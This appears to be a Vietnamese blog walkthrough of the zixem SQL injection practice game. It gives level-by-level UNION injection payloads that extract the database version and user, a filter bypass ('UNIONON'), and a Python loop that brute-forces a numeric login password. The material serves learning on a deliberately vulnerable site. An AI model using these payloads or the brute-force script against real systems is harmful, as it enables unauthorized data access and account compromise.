zixem là một công cụ giúp các bạn học và hiểu được các thức hoạt động của các cuộc tấn công sql injection. hôm nay mình sẽ viết bài hướng dẫn và chi tiết các thức vượt qua tất cả các level của trò chơi.
Quy tắc:
- Chỉ dùng firefox không dùng các công cụ khác như sqlmap ...
- chỉ tìm ra phiên bản và user của database
Level 1: Super Easy
Đây là một mức căn bản nhất chúng ta có thể dùng lệnh sau
SELECT * FROM exploits WHERE ID=1
Với câu lệnh UNION , chúng ta có thể kết hợp đầu ra với dữ liệu khác mà chúng ta muốn. Trước tiên chúng ta cần xác định số lượng cột trong bảng.
SELECT * FROM exploits WHERE ID=1 UNION SELECT 1,2--
Và kết quả
Như vậy chúng ta biết được số lượng cột của nó là có nhiều hơn. sau khi tăng số chúng ta được
Vì lỗi không còn nữa, chúng tôi biết rằng có ba cột!
Tuy nhiên, dữ liệu không hiển thị trên trang Để giải quyết điều này, chúng ta chỉ cần vô hiệu hóa id đầu tiên:
SELECT * FROM exploits WHERE ID=1 AND 1=2 UNION SELECT 1,2,3--
Bây giờ, chỉ có dữ liệu từ lựa chọn của chúng ta sẽ được trả về:
ID và Giá được trả lại lần lượt là 2 và 1 , điều đó có nghĩa là đầu vào của chính chúng ta đang được trả lại.
Bây giờ chúng ta hãy thay đổi 2 và 1 thành
version() và user(), vì vậy tuyên bố cuối cùng của chúng tôi trông như sau:
SELECT * FROM exploits WHERE ID=1 AND 1=2 UNION SELECT version(),user(),3--
Như vậy chúng ta đã qua level 1
Level 2: Easy
Ở vòng này tôi vẫn thử như ở level 1 nhưng không có kết quả trả về
Tôi đã thử thay đổi số lượng cột, nhưng điều đó vẫn không tiết lộ gì.
Chúng ta hãy xem xét lại câu lệnh
SELECT * FROM exploits WHERE ID=1
Có thể trang web này đang lấy ID dưới dạng một chuỗi , thay vì số nguyên. để khắc phục chúng ta thêm dấu '
SELECT * FROM exploits WHERE ID=1'
Và câu lệnh nó sẽ như thế này
SELECT * FROM exploits WHERE ID=1 AND 1=2' UNION SELECT version(),user(),3--
Lỗi cho chúng tôi biết rằng có một lỗi liên quan đến dấu nháy đơn. Chúng ta có thể giải quyết điều này bằng cách thêm dấu nháy đơn vào cuối
SELECT * FROM exploits WHERE ID=1 AND 1=2' UNION SELECT version(),user(),3--'
Bây giờ chúng tôi được thông báo rằng số lượng cột là sai. Bằng cách thêm một cột thứ tư vào lựa chọn, chúng ta được trả lại tên người dùng và phiên bản!
Level 3: Normal
Chúng ta thử bằng câu tấn công ở level trước
SELECT * FROM exploits WHERE ID=3' UNION SELECT user(),version(),3,4--'
Thông báo lỗi cho chúng tôi biết rằng câu lệnh đang được hiểu là user chọn uni (), version (), 3,4 - ' , nghĩa là sự kết hợp đang được lọc ra. Để chống lại điều này, chúng ta có thể thêm cái khác vào on, để ngay cả sau khi nó bị xóa, câu lệnh vẫn đọc union :
SELECT * FROM exploits WHERE ID=3 AND 1=2' UNIONON SELECT user(),version(),3,4--'
Bằng cách như vậy chúng ta đã vượt qua level 3
Level 4: Normal
Tôi không chắc tại sao đây là một thử thách riêng biệt, vì giải pháp gần như tương tự với Cấp độ 2.
7 AND 1=2' UNION SELECT user(),version(),3 --'
Khoan nói với chúng tôi rằng số lượng cột được nhập là sai, vì vậy cố gắng thêm một vài lần cuối cùng đã cho tôi giải pháp làm việc:
7 AND 1=2' UNION SELECT user(),version(),3,4,5 --'
Vậy là chúng ta đã qua level 4
Level 5: Get your “bot-writing” skills
Xem mã nguồn của trang cho thấy điều này:
Vào đường link trên chúng ta được
bây giờ hãy thử mật khẩu zixemhf .
Bây giờ chúng ta biết chính xác những gì chúng ta cần để bruteforce.
Vậy chúng ta cần viết một đoạn code bằng python để làm việc này
import requests as rq
for i in range(1300,99999):
req = rq.get("http://www.zixem.altervista.org/SQLi/login_do.php?pass="+str(i))
if "Wrong pass" in req.text:
print("Attempt #%d" % i)
else:
print("\n\nSuccess!\nPassword: %d" % i)
break
Kết quả tôi tìm ra mật khẩu là 1337
Không có nhận xét nào:
Đăng nhận xét